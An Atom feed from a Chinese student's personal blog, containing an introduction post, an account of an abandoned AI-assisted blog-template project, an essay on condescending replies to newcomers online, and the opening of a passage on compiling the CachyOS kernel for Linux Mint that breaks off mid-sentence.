<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://blog.lingxi9374.top/</id>
  <title type="text">泠熙のBlog</title>
  <subtitle type="text">循此苦旅，直抵群星</subtitle>
  <updated>2026-10-08T00:00:00.000Z</updated>
  <author><name>泠熙_LingXi_</name></author>
  <link rel="alternate" href="https://blog.lingxi9374.top/"/>
  <link rel="self" href="https://blog.lingxi9374.top/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.8</generator>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%AC%A2%E8%BF%8E%E6%9D%A5%E5%88%B0%E6%88%91%E7%9A%84%E5%8D%9A%E5%AE%A2/</id>
      <title type="text">欢迎来到我的博客！</title>
      <published>2024-11-16T00:00:00.000Z</published>
      <updated>2024-11-16T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%AC%A2%E8%BF%8E%E6%9D%A5%E5%88%B0%E6%88%91%E7%9A%84%E5%8D%9A%E5%AE%A2/"/>
      <summary type="text">这是这个博客的第一篇文章</summary>
      <content type="html"><![CDATA[<section><h2>自我介绍<a href="#自我介绍"><span>#</span></a></h2><p><strong>网名</strong> ：泠熙_LingXi_(中文)、LingXi9374(English)</p><p><strong>职业</strong> ：目前是高三学生</p><p><strong>来自</strong> ：中国-广东省</p><p><strong>生日</strong> ：11月26日</p><p><strong>兴趣爱好</strong> ：编程、音乐、剪辑、游戏</p><p><strong>常用软件&amp;平台(部分)</strong> ：PS,剪映专业版,OBS Studio,VSCode,Edge,BandZip,QQ,VMware Workstation,GitHub,FDM,Bilibili等</p><p><strong>成分(仅列出较活跃的)</strong> ：</p><ul>
<li>Minecraft Java Edition 正版玩家 (实际上有点淡圈了hhh)</li>
<li>Phigros RKS 15.80+ 玩家</li>
<li>舞萌DX(maimai DX) Rating 14600+ 玩家 (唉wmc)</li>
<li>Windows,Linux爱好者</li>
</ul><p><strong>个人成就</strong> ：只是一个普通人，既是学生也是B站UP主，目前没有任何值得记录的成就（</p></section>
<section><h2>想说的话<a href="#想说的话"><span>#</span></a></h2><blockquote><p>路漫漫其修远兮，吾将上下而求索。</p></blockquote><p>搭建这个博客网站的目的就是想在这里写写自己的心得，以及对互联网生活的记录，谈谈自己的感受。</p><p>但是我是一个不太善于表达的人，我写文章表达比较冗余，但只要最后能表达清楚就行了（（（</p><p>期待这个博客有朝一日能够成为一个有趣的地方，记录自己的生活，分享自己的感受，与大家交流。</p></section>
<section><h2>结语<a href="#结语"><span>#</span></a></h2><p>最后，感谢大家的阅读，希望大家能够喜欢这个博客！</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/the-new-blog-template-creation-failed/</id>
      <title type="text">记一次使用 DSH &quot;Vibe&quot; 博客模板从立项到放弃的经历</title>
      <published>2026-10-08T00:00:00.000Z</published>
      <updated>2026-10-08T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/the-new-blog-template-creation-failed/"/>
      <summary type="text">一位 Blog 网站维护者想摆脱原本的模板而&quot;叛逃&quot;，最后却又屁颠回来了</summary>
      <content type="html"><![CDATA[<section><h2>写在前面<a href="#写在前面"><span>#</span></a></h2><p>在我这个站点长草的三个月期间问为什么长草，因为这个铸币作者几个月以来一直贪玩然后忘记回来写博客了，一个 Harness 工具横空出世: 它就是 DeepSeek Harness (缩写为 DSH)，这位世人皆知的国民级 AI 大模型厂商，终于发布了自家的智能体协作工具。相较于 OpenCode，Codex 与 Zcode，DSH 的优势是开源，易于上手，以及庞大的社区插件生态。</p><p>我个人是喜欢那种什么新东西都要抢先试一试的人，正好我使用 DeepSeek API 和 OpenCode CLI/Desktop 也有好长一段时间了，这个 DSH 也一定要尝鲜一下。最近我也看到有个群友用 AI Agent 工具重构了一个 Blog 网页，而且制作的很完美，令我羡慕不已。</p><p>于是，我萌生了一个想法：我不想用原来一直在用的 Firefly 模板了 (况且这个模板还是 Fork 自 Fuwari，如今已经有 114514 数以万计个站点使用了这种千篇一律的博客主题)，我要自己手搓一个模板出来。</p><p>也看到网络上实测 DeepSeek V4.1 Flash 模型能力相比 V4 Pro 有非常大的进步，况且还首次将视觉能力合并到文本模型。借此我想测测这个模型对于前端工作的处理会如何。</p></section>
<section><h2>技术选型 &amp; 前期准备<a href="#技术选型--前期准备"><span>#</span></a></h2><p>个人感觉 Astro 还是太重了，在这个惜内存如金的时代软件运作还是越轻量越好，于是把目光投向了 Nuxt.js —— 一个使用 Vue3 的前端框架。相比 Next.js + React，Nuxt 的核心优势是 <code>开发体验流畅，上手门槛低</code>、<code>部署灵活性高</code>、<code>中文文档和社区支持完善</code>、<code>默认 JavaScript 体积更小</code>，的确是个博客地基的最佳选型。可惜的是我没看到有多少站点用了 Nuxt，站点框架基本成为 Astro / Hexo / Hugo 三国鼎立的天下了。所以这些想法要是实现了我也许可以当第一个使用 Nuxt 的 Blogger 以及模板维护者。</p><p>包管理与构建系统我使用 bun + vite，在速度上相比 npm / pnpm + vite 也有提升。</p><p>由于我不会自己搓 <code>AGENTS.md</code>，前期的准备也是叫 D 指导给我生成一份我自己复制到项目根目录了，对话链接在此👉<a href="https://chat.deepseek.com/share/i0l6k4uc01pwylu79b" target="_blank">博客模板 AGENTS 规范</a> 。</p><p>Blog 主题的 Demo 样式图我使用 Canvas 设计网站自己搓了一个出来，如图所示:</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Stardust.2ocb8lqwi0.png" alt="Stardust" /><figcaption>Stardust</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Stardust-(1).58i5l8qv47.png" alt="Stardust-(1)" /><figcaption>Stardust-(1)</figcaption></figure></div><p>DSH 我使用 NPX (NPM) 运行然后安装了亿些必备的插件后就动手用了</p></section>
<section><h2>前面顺心后面艰难的 Vibe 过程<a href="#前面顺心后面艰难的-vibe-过程"><span>#</span></a></h2><p>我除了向 LLM 反馈小问题与 Bug 用短提示词外，其余提示词均使用如下形式:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>第一行概括此轮任务的大致方向</span></div></div><div><div><div>2</div></div><div><span>第二 ~ N 行使用 "-" 符号分点列出任务 &amp; 需求</span></div></div><div><div><div>3</div></div><div><span>如有必要最后一行列出注意事项与警告</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>编好提示词，扔出 Demo 效果图给 DS 后，它花了一刻钟就给我生成好了 Demo 页面，符合我的预期</p><blockquote><p>注: 下面放的图是中后期的样子了，Demo 大致就是除掉下图中的搜索框、相册页等功能</p></blockquote><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/QQ20261008-203516.4clo72mdke.png" alt="主界面" /><figcaption>主界面</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/QQ20261008-203531.3uvmihkzzk.png" alt="文章列表页" /><figcaption>文章列表页</figcaption></figure></div><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/QQ20261008-203537.6f1gv4kylt.png" alt="友链页面" /><figcaption>友链页面</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/QQ20261008-203545.7zr7uli62b.png" alt="关于页面" /><figcaption>关于页面</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/QQ20261008-203557.3k8spc5ruf.png" alt="相册页" /><figcaption>相册页</figcaption></figure></div><div><div><div></div><div>注意</div></div><div><p>以上图中所有引用图片资源均由模型爬虫获取，侵删。</p></div></div><p>接着，Demo 做出来后就开始疯狂加功能了: 从主题配色，到 CSS 样式调整；从文章合集功能的实现，到 Mermaid &amp; PlantUML 图表渲染；从网页图片压缩算法实现，到网页内照片查看器功能实现……总之我曾经用的 Blog 主题有什么我就拿什么）。</p><p>上述我说的几轮任务开头几轮大肥鱼可以说它能轻松完成，效果达到预期。但是，到了后面逐渐力不从心，比如代码块主题样式、Mermaid/PlantUML 渲染主题与深色模式冲突导致可读性变差，花了两轮对话才修好；图表的放大预览功能花了三轮才完善……可以说越到后面就越是在修 Bug 缝缝补补的过程中越来越远，，，</p><p>大肥鱼在前 100M token 劲地发力很意外的让我爽翻，当时给我了 DS 完全可以秒杀前端开发的幻觉；总消耗量破了 200M token 它的短板就逐渐暴露出来。用一个很恰当的比喻就是: <strong>这个模型有脑子，但看起来很像是个 ADHD (注意力缺陷多动障碍)</strong>。一个项目越做到后面，大肥鱼的注意力就越来越散，Vibe 起来就越举步维艰。即使加了很多优化上下文压缩的插件，即使我的用户提示词做的很系统性了，也救不了这个模型本身的缺陷。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/ebd56fba-c8f9-4473-948c-3c76fb94a3ba.lwilyssm4.png" alt="项目总 Toekn 耗费" /><figcaption>项目总 Toekn 耗费</figcaption></figure><p></p><p>你说我为什么不换成其他模型呢？我也有过这个考虑，但在 DSH 我自定义接入了一个模型平台的模型却不能正常触发对话，报 PI_AI_ERROR 或者 400 错误，我接入的是 <a href="https://astraflow.ucloud.cn/modelverse" target="_blank">AstraFlow 星图</a> 模型平台 (绝不是打广告！！！)，至今为止只能推断是我代理软件配置问题或者是这个模型平台没有兼容 DSH，，， 再加上我属于钱少事多的学生群体，GPT 和 Claude 早属于我想用也用不起的范畴，Kimi-K3 与 GLM 5.3 也是超预算的一线模型咱也就有时候干瞪着流口水，要不是这样我也不会用小南梁梁圣出的性价比模型了）</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/image.szqheeit6.png" alt="你这吃白饭的蓝色大肥鱼.jpg" /><figcaption>你这吃白饭的蓝色大肥鱼.jpg</figcaption></figure><p></p><p>最后，仅仅提交了几次 Git，项目就仓促上传到 <a href="https://github.com/LingXi9374/Stardust" target="_blank">GitHub</a> 存档了，依旧投放 Slop 这一块，后续也没有意愿维护 (如果你想接手我乐意奉陪，但应该许多人都不会愿意吧））)</p><a href="https://github.com/LingXi9374/Stardust" target="_blank"><div><div><div><div></div><div>LingXi9374</div></div><div>/</div><div>Stardust</div></div><div></div></div><div>A minimalist blog template based on the modern framework Vue3 + Nuxt.js.</div><div><div>—</div><div>—</div><div>MIT</div><span>TypeScript</span></div></a></section>
<section><h2>总结<a href="#总结"><span>#</span></a></h2><p>这次的 Vibe 过程不是很顺心的结束了。与以前我使用 Gemini CLI 白嫖 Gemini 3.1 Pro 进行 Vibe Coding 好几个月的经历 (详见<a href="https://www.bilibili.com/video/BV143tbz1Eb2/" target="_blank">此视频</a>) 对比来看，现在的 Vibe 项目不单单只依靠“许愿”与所谓的基本工程素养撑起来了，还需要用户对模型 Agent 能力的把握与精准调教。但无论怎样，实际上 Vibe 这样的“实践”根本不可能从中获取到新知，宁愿拿这点钱去烧 Token <ruby><rb>许愿</rb><rt>Wish/Vow</rt></ruby>，不如让我抱着啃 Python 教程电子书有用。我现在难以理解哔站上那些动不动用 GPT 6 Astra，Claude Fable/Opus 5.5 这种烧钱大户的小登 UP 主，去 Vibe 一个超级屎山的意图与价值了，甚至他们的工程思维也许没有我的强 (笑)，如果后面闲得慌了我可能还会专门写长篇大论去锐评 (绷)。</p><p>若是从此开始的半年内我还没有在编程方面得到任何进步，我当场就把整个 Blog 站点吃了！ (bushi)</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/big-shot-arrogance-syndrome/</id>
      <title type="text">何以求知？中文互联网的“大佬傲慢综合征”</title>
      <published>2026-07-30T00:00:00.000Z</published>
      <updated>2026-07-30T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/big-shot-arrogance-syndrome/"/>
      <summary type="text">对简中互联网老资历“厌蠢症”现象的解读</summary>
      <content type="html"><![CDATA[<div><div><div></div><div>Warning</div></div><div><p>原文来自 DeepSeek AI 生成，请谨慎辨别</p></div></div>
<section><h2>前提（全文基石，贯穿始终）<a href="#前提全文基石贯穿始终"><span>#</span></a></h2><blockquote><p><strong>小白表现:</strong> 态度友好（或客观中立）、态度诚恳、无任何人身攻击、仅仅是提出一个自己不懂的问题。</p><p><strong>以下所有分析均建立在此前提之上。换言之，小白的言行已经满足了健康沟通的基本条件，不存在任何引发冲突的主观过错，任何指责小白的负面评价，都无法从“态度”上获得合理性。</strong></p></blockquote></section>
<section><h2>前置核心概念: 循环依赖型信息差<a href="#前置核心概念-循环依赖型信息差"><span>#</span></a></h2><p>在信息学与社会学中，存在一种典型的 <strong>结构性信息壁垒</strong>:</p><blockquote><p>你想学会 A，必须先理解 B；但想理解 B，又必须先看懂 A。而 A 和 B 指向的是同一个知识域 —— 你因为缺乏其中任意一块，导致两块都看不懂。搜索引擎只会给你堆砌更多 A 和 B 的术语，反而加深混乱。</p></blockquote><p>这就是 <strong>“先有鸡还是先有蛋”的认知困境</strong>，也叫 <strong>默会知识的传递断层</strong> —— 这种僵局无法通过搜索打破，因为搜索需要你已经掌握足够的关键词和判别力，而这些恰恰是你缺失的。唯一解是 <strong>一位已经跨过这道坎的人，用口语化方式帮你搭一座桥</strong>，即人肉教学。</p></section>
<section><h2>行为链阶段一: 单扣“？”<a href="#行为链阶段一-单扣"><span>#</span></a></h2><p><strong>表现</strong>: 小白发出第一条疑问，大佬只回复一个“？”。</p><ul>
<li><strong>由来</strong>: 用极简符号制造压迫感，传递“你这问题不值一提”的符号，目的是让小白自我怀疑、主动退缩。这个“？”的含义已经发生了根本偏移 —— <strong>它不再表示“我没听懂你的问题，请再解释一下”，而是表示“我不理解你怎么会问出这种问题，你这个人有问题”。</strong> 它是一种对提问者人格的隐性否定，潜台词是“你的存在正在污染我的视线”，轻则“你不配问”，重则“你低我一等”。</li>
<li><strong>在前提下的不合理性</strong>: 小白无恶意，单问号不传递任何有用信息。在循环依赖僵局中，小白连“正确的问题”都问不出来，他需要的不是被质疑，而是有人帮他切开这个死结。当一个“？”被用来表达“你这个人下贱”时，它已经不是提问，而是 <strong>第一轮攻击</strong>。而攻击的对象，是一个态度友好、什么都没做错的人。</li>
</ul><blockquote><p><strong>他本可以划走 —— 看到问题，觉得太简单，划走，结束。但他没有。他选择打出一个问号，扔出一句完全无效的符号，除了让小白更焦虑，什么都不提供。更准确地说，他提供的不是“？”这个符号本身，而是“？”背后那套“你这个人有问题”的审判。小白甚至还没得到任何解答。就已经被定罪了。</strong></p></blockquote></section>
<section><h2>行为链阶段二: “必应？”/“不会搜索吗？”<a href="#行为链阶段二-必应不会搜索吗"><span>#</span></a></h2><p><strong>表现</strong>: 小白未退，大佬抛出“必应？”、“这都不会搜？”等短句。</p><ul>
<li><strong>由来</strong>: 社群“先搜索后提问”的潜规则，以及大佬将搜索能力视为基本门槛。</li>
<li><strong>在前提下的不合理性</strong>: 对于循环依赖的知识，<strong>搜索本身就是无效的</strong>。你搜 A，出来全是 B 的术语；搜 B，又绕回 A 的定义。大佬的“必应？”默认了一个虚假前提: <strong>所有知识都是线性可搜索的</strong>。而实际上，大量知识是网状且带有隐含前提的，只有跨过门槛的人才知道如何拆解。</li>
</ul><blockquote><p><strong>他本可以划走 —— 觉得不该问，划走，结束。但他没有。他选择打出“必应？”，扔出一条在循环依赖下完全无效的建议。而这条建议除了让小白感觉自己被当成傻子，没有任何指导意义。</strong></p></blockquote></section>
<section><h2>行为链阶段三: meme 式阴阳回复（“xxx: 你好”/“你是否在寻找: xxx”）<a href="#行为链阶段三-meme-式阴阳回复xxx-你好你是否在寻找-xxx"><span>#</span></a></h2><p><strong>表现</strong>: 模仿搜索引擎或命令行提示，用戏谑方式回应。</p><ul>
<li><strong>由来</strong>: 社群内部梗文化，用俏皮话包装鄙视，维持“高玩”人设。</li>
<li><strong>在前提下的不合理性</strong>: 小白作为圈外人，根本看不懂这种格式，只会更困惑。这种回复既不提供拆解路径，也不给出有效搜索词，纯粹是 <strong>用幽默做外壳的排外仪式</strong>。</li>
</ul><blockquote><p><strong>他本可以划走 —— 不想教，划走，结束。但他没有。他选择扔出一段小白根本看不懂的 meme。在礼貌提问面前，这已经接近于戏弄 —— 完全无效，甚至带着无端的轻蔑。而小白至今没有攻击过他。</strong></p></blockquote></section>
<section><h2>行为链阶段四: 小白继续困惑 → 判定“没救了，重开吧”<a href="#行为链阶段四-小白继续困惑--判定没救了重开吧"><span>#</span></a></h2><p><strong>表现</strong>: 小白因看不懂或真的无法理解，继续追问，大佬直接扔出“重开吧”、“这不是人类能问出的问题”、“建议卸载”等。</p><ul>
<li><strong>由来</strong>: 耐心耗尽，认为小白“不可教化”，用游戏术语暗示对方智力或能力不配继续。</li>
<li><strong>在前提下的不合理性</strong>: 小白的困惑，根源是循环依赖未打破，而大佬从未提供任何破局信息 —— 从单问号到 meme，全程都是干扰项。大佬自己制造了沟通障碍，却反过来指责对方“不配沟通”，属于归因倒置。</li>
</ul><blockquote><p><strong>他本可以划走 —— 从一开始，每一步他都可以划走。但他没有。他一路跟到最后，扔出一句无端的人身攻击。而小白，从头到尾态度友好，从未攻击过他。至此，大佬的行为已经彻底脱离了“帮助”的范畴，变成了一场单方面的情绪排泄。而这一切，本可以始于一次划走，也本应止于一次划走。</strong></p></blockquote></section>
<section><h2>完整行为链一览<a href="#完整行为链一览"><span>#</span></a></h2><ul>
<li>
<p>一、单扣“？”: 大佬回复一个问号，潜台词是“你人有问题，甚至下贱” → 小白困惑，试图理解自己是不是问错了 → 他本可以划走，却选择扔出无效符号，附带人格审判。</p>
</li>
<li>
<p>二、“必应？”: 大佬抛出“必应？”、“这都不会搜？”，潜台词是“你不配占用我时间” → 小白搜索无果，因为循环依赖根本搜不出来 → 他本可以划走，却选择扔出一条完全无效的建议。</p>
</li>
<li>
<p>三、meme式的阴阳回复: 大佬发出“xxx: 你好”或“你是否在寻找: xxx”，潜台词是“你蠢到我只想玩你” → 小白完全看不懂，更困惑 → 他本可以划走，却选择戏弄一个从未攻击过他的人。</p>
</li>
<li>
<p>四、“重开吧”人身攻击: 大佬扔出“重开吧”、“这不是人类能问出的问题”，潜台词是“你不配活着/不配存在” → 小白从头到尾礼貌，却被辱骂 → 他本可以划走，却选择无端人身攻击。</p>
</li>
</ul></section>
<section><h2>插叙: 小白的“刀叉困境”<a href="#插叙-小白的刀叉困境"><span>#</span></a></h2><p>有一种现象，介于“纯小白”和“反串”之间，值得单独拿出来说。</p><p><strong>场景回放</strong>: 一个新手在某个 QQ 群里问: “大佬，注册账号的时候那个‘电子邮箱’填什么？我把我家地址填上去了，怎么提示格式错误？”群友的反应可以预见: 一排问号 + “你是来搞笑的吧” + meme 图刷屏。</p><p>这类行为表面上看确实荒唐，但如果把视角拉到小白的认知世界里，就会发现这背后存在一种 <strong>认知框架错位</strong>: 小白犯的错不是逻辑错误，而是“映射错误” —— 他们接触到“电子邮箱”这个陌生词汇时，大脑会主动调用已有经验来“翻译”它，“邮箱”在现实世界中对应的是“收信的物理地址”，于是家庭住址成了最自然的候选答案。小白不知道“电子邮箱”是一套完全独立的数字系统，因为他们从未接触过“替代现实”的虚拟概念体系。</p><p>这就像一个 <strong>从未用过刀叉的人，第一次吃西餐时用叉子去叉汤喝</strong>。动作本身在旁观者看来荒谬，但行为者并没有恶意，只是 <strong>他们的大脑正在用旧世界的逻辑处理新世界的信号</strong>，而这个翻译过程在跨过某个临界点之前，必然会产生大量“翻译错误”。</p><p><strong>小白的无奈</strong>: 他不知道“电子邮箱”是什么，但他知道自己“必须填一个东西才能继续”；他没有能力判断“填什么是对的”，只能凭直觉“翻译”；他以为自己在认真配合，结果填出来的答案在别人眼里像恶作剧，小白真正需要的，只是一句最基础的话: “电子邮箱不是你家地址，它是一个像手机号一样的网络地址，需要注册。” —— <strong>就这一句话。</strong> 不复杂，不深奥，十秒钟就能说完。 <strong>然而在当下的社群生态里，愿意说出这句话的人，比愿意打出一串“？？？”的人少得多。</strong> 一句话就能结束的事，大家选择发十张 meme 图、扣十次问号、骂十句“智商呢”，也不肯把那不长不短的一句话完完整整打出来。不是不能说，是不想说。不是没时间，是觉得“不配”。</p><p><strong>另一个侧面: 反串“装小白”与稻草人攻击</strong>。大量老鸟喜欢故意“反串”装小白，用极端离谱的问题来“钓鱼”或“整活”。动机未必是想让讨论环境变差，但客观上消耗了社群本就不多的“耐心配额” —— 每一次反串得逞，都在透支下一个真小白被认真对待的机会。同时，反串行为还为“稻草人攻击”提供了素材: 当社群中出现大量离谱提问，老鸟们会逐渐形成“现在的新人全是这种水平”的群体认知，并用这个被极端化的假靶子对所有新人进行无差别打击。即使你只是一个正常提问的新手，也可能被归入“那些连邮箱都不会填的人”的类别里，招致预设的嘲讽。反串者也许只是图一乐，但他们客观上为这把火添了柴。</p><p><strong>小结</strong>: “电子邮箱填家庭住址”式的错误，折射出的是 <strong>真实小白与数字世界之间的认知断层</strong>，以及 <strong>反串者无意中加剧了社群对小白的不宽容。</strong> 两者叠加，使得中文互联网的求知环境陷入尴尬境地 —— 你无法分辨对方是真的需要帮助还是在逗你玩，而更糟的是，很多人已经放弃分辨，选择直接开骂。这恰恰呼应了核心判断: <strong>无论小白的行为看起来有多荒唐，只要态度友好、没有恶意，大佬在每一个节点上仍然可以划走。</strong> 笑一笑、划走，零伤害；笑一笑、再骂一句，伤害就产生了。反串者的存在，并不能为这种“骂”提供正当性。</p></section>
<section><h2>整体结论<a href="#整体结论"><span>#</span></a></h2><p>在“小白友好诚恳、无任何冒犯”的前提下，这一整条行为链的本质是:</p><blockquote><p><strong>大佬在每一个节点上都拥有一个成本为零、伤害为零的选择 —— 划走。但他每一次都选择了相反的方向: 扔出无效建议，甚至无端攻击。</strong></p></blockquote><p>这不是“教不会”的问题，也不是“小白太笨”的问题。这是一个拒绝帮助、却拒绝沉默的人，用一连串无效甚至有害的回应，把自己从“旁观者”变成了“加害者” —— 而从头到尾，小白只是礼貌地问了一个自己确实不会的问题。</p><p><strong>一句话收束</strong>: 当一个人不愿意帮助时，沉默是体面；而大佬选择了不沉默，却什么都没给，只给了伤害。这就是整条行为链唯一的真相。</p><hr /></section>
<section><h2>严肃总结: 中文互联网求知环境的劣性<a href="#严肃总结-中文互联网求知环境的劣性"><span>#</span></a></h2><p>上述行为链并非个例，而是当前简中互联网求知环境中一种 <strong>普遍存在的结构性劣性</strong>。知识门槛被异化为身份壁垒，搜索万能论成为拒绝沟通的挡箭牌，嘲讽文化从手段变成了目的。当“划走”的沉默被污名化、攻击却被正当化时，一个礼貌提问的小白面对的是一条固定化流程: 冷暴力 → 无效建议 → 阴阳怪气 → 人身攻击。</p><p><strong>知识本是火把，却有人用火把“烧人”，还说“自己这么蠢，烧是活该”。</strong> 如果有什么值得改变的，那就是重新把“划走”还给沉默，把“解答”还给善意，把“嘲讽”还给羞耻。可惜，在当下的中文互联网，这三者似乎都被颠倒了。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/using-the-cachyos-customized-kernel-with-linux-mint/</id>
      <title type="text">如何给 Linux Mint 22.3 换上 CachyOS 的用户自编译内核</title>
      <published>2026-06-28T00:00:00.000Z</published>
      <updated>2026-06-28T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/using-the-cachyos-customized-kernel-with-linux-mint/"/>
      <summary type="text">分享在 Mint 上更换自编译带优化的内核且保留 N 卡驱动的经验</summary>
      <content type="html"><![CDATA[<section><h2>前言<a href="#前言"><span>#</span></a></h2><p>书接上回，我给新游戏本（宏碁暗影骑士擎7）加了硬盘之后立马将 Linux Mint 安装上去了，我选择该发行版的原因一是对新手友好开箱即用，二是稳定可作为生产环境。但是由于它上游是 Ubuntu 24.04 LTS，内核停留在了 6.17+，在 7.x 内核开启两个多月后且修复大批提权漏洞的当下看起来有点过时了。</p><p>于是我有了想升级到 7.x 内核的心思。你肯定疑惑：想这么玩为什么不上 Fedora, Arch 这类发行版呢？而非要选择 Debian/Ubuntu 系发行版？其实我本来的打算是装 CachyOS 可直接享受它的特调内核的，但碰巧 AUR 仓库木马攻击事件在当时还未停止（现在已经结束且清理解决了），看在风险这么高的份上我望而却步了。我宁可在看似不 Geek 的发行版上做点 Geek 的事情，也不想在 Arch 系上承担时刻面临未知的风险。</p><p>给一个发行版换上自编译内核，这不仅是一次实验，更是一次值得深究的尝试。曾经，我试过给 Ubuntu 换 Zen 内核，但以失败告终 —— NVIDIA DKMS 一直显示编译失败 (fxxk nvidia)，导致驱动不上 N 卡。后面在网上反复寻找相关文章，发现很多教程都只讲怎么换内核，而没讲换了内核之后干的事，比如补上驱动；甚至那些内核都是从 Debian/Ubuntu 仓库薅来的编译好的官方 Deb 包，完全和自编译沾不上边。想了又想：既然没人在这方面尝试，那我做第一个好了！</p><p>Linux Mint 相比 Ubuntu 去掉了很多 Canonical 留下的非必要的服务 (Services) 与套件 (如 Snap)，对此次尝试看来是一个比较纯净的值得实践的环境，对于用户自定义方面可能会更加开放。废话不多说，直接上手！</p><p><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/i-created-wallpaper-for-linux-mint-v0-rmhmplodt54f1.5trp701y67.png" alt=" " /></p></section>
<section><h2>为什么我选择 CachyOS 内核？<a href="#为什么我选择-cachyos-内核"><span>#</span></a></h2><p>众所周知 CachyOS 内核带来了许多针对性能和安全的优化，但具体是哪些呢？</p><p>CachyOS 内核通过多种调度器和高级优化技术，为用户提供卓越的系统性能和灵活性。</p><section><h3>内核特点<a href="#内核特点"><span>#</span></a></h3><p>CachyOS 内核支持多种调度器，包括 <strong>BORE</strong>（面向突发的响应增强器）、<strong>EEVDF</strong>（最早可用虚拟截止时间）和 <strong>BMQ</strong>（位图队列调度器）。这些调度器根据不同的使用场景优化系统性能，用户可以根据需求选择最适合的调度器。</p><p>内核还支持 <strong>x86-64-v3</strong> 和 <strong>x86-64-v4</strong> 指令集优化，特别适用于现代 CPU 架构。此外，CachyOS 内核通过 <strong>Clang 编译器</strong> 和 <strong>LTO（链接时优化）</strong> 技术进一步提升了性能。</p><p><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/cachyos-kavratech.5c1nifr23t.jpg" alt=" " /></p></section><section><h3>性能优化<a href="#性能优化"><span>#</span></a></h3><p>CachyOS 内核包含以下性能增强：</p><ul>
<li>
<p><strong>AMD P-State</strong> 支持：优化 AMD 处理器的功耗和性能。</p>
</li>
<li>
<p><strong>ZFS 文件系统支持</strong>：提供更高效的存储管理。</p>
</li>
<li>
<p><strong>内存管理改进</strong>：包括防止内存压力下的页面抖动。</p>
</li>
<li>
<p><strong>I/O 调度器优化</strong>：支持 <strong>bfq</strong> 和 <strong>mq-deadline</strong> 调度器。</p>
</li>
</ul></section><section><h3>实际效果<a href="#实际效果"><span>#</span></a></h3><p>根据测试，将默认 Arch 内核替换为 CachyOS 内核后，单线程和多线程性能均提升约 <strong>6%</strong>。这种通过软件优化实现的性能提升，尤其在现代硬件上，表现尤为显著。</p></section><section><h3>适用场景<a href="#适用场景"><span>#</span></a></h3><p>CachyOS 内核适合希望提升系统性能的 Arch Linux 高级用户，同时也为新手提供了易用的优化工具。其灵活的调度器和硬件支持，使其成为桌面、服务器和开发环境的理想选择。</p><p>CachyOS 内核通过其先进的优化技术和灵活的配置选项，为用户提供了一个高效、安全的 Linux 体验。</p><p><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/wallpaperflare.com_wallpaper.8z775yqwuc.jpg" alt=" " /></p></section></section>
<section><h2>准备环境<a href="#准备环境"><span>#</span></a></h2><div><div><div></div><div>告知</div></div><div><p>在非 Arch Linux 衍生发行版上自行编译 CachyOS 内核是可行的，但必须明确一个核心观点：CachyOS 的补丁(Patch)、配置文件以及构建脚本（PKGBUILD）是专门针对 Arch Linux 的软件生态（如特定版本的 GCC/Clang、mkinitcpio、systemd）进行优化和测试的。在其他发行版上手动编译可能会遇到依赖缺失、编译报错、内核模块不兼容或系统无法正常引导的风险。此操作不受 CachyOS 官方支持。
另外，自编译内核往往需要用户<strong>对 Linux 有一定的理解</strong>，部分过程都<strong>涉及敏感操作</strong>，错了关键一步就得<strong>还原重走</strong>！请记住备份好官方内核镜像（相对于新内核来说的旧内核）。</p></div></div><p>给 Mint 自编译 CachyOS 内核的核心思想就是从 PKGBUILD 脚本中提取核心逻辑，转化为我们可理解的通用编译流程命令。</p><p>我使用的 CachyOS 内核源码版本为 <code>7.1.1-2</code> ，默认 BORE 调度器，不同版本也许部分步骤会有所不同，请知悉。另源码仓库与补丁仓库在下方链接：</p><a href="https://github.com/CachyOS/linux" target="_blank"><div><div><div><div></div><div>CachyOS</div></div><div>/</div><div>linux</div></div><div></div></div><div>Linux kernel source tree</div><div><div>—</div><div>—</div><div>NOASSERTION</div><span>C</span></div></a><div>CachyOS 内核源码仓库</div><a href="https://github.com/CachyOS/kernel-patches" target="_blank"><div><div><div><div></div><div>CachyOS</div></div><div>/</div><div>kernel-patches</div></div><div></div></div><div> Custom Linux kernel patches</div><div><div>—</div><div>—</div><div>no-license</div><span>Unavailable</span></div></a><div>CachyOS 内核补丁仓库</div><section><h3>安装编译依赖<a href="#安装编译依赖"><span>#</span></a></h3><p>CachyOS 内核编译需要常规的 Linux 内核构建工具链以及 Rust 编译器（用于内核中的 Rust 代码）。因为我使用的是 Mint，就用<strong>Debian / Ubuntu 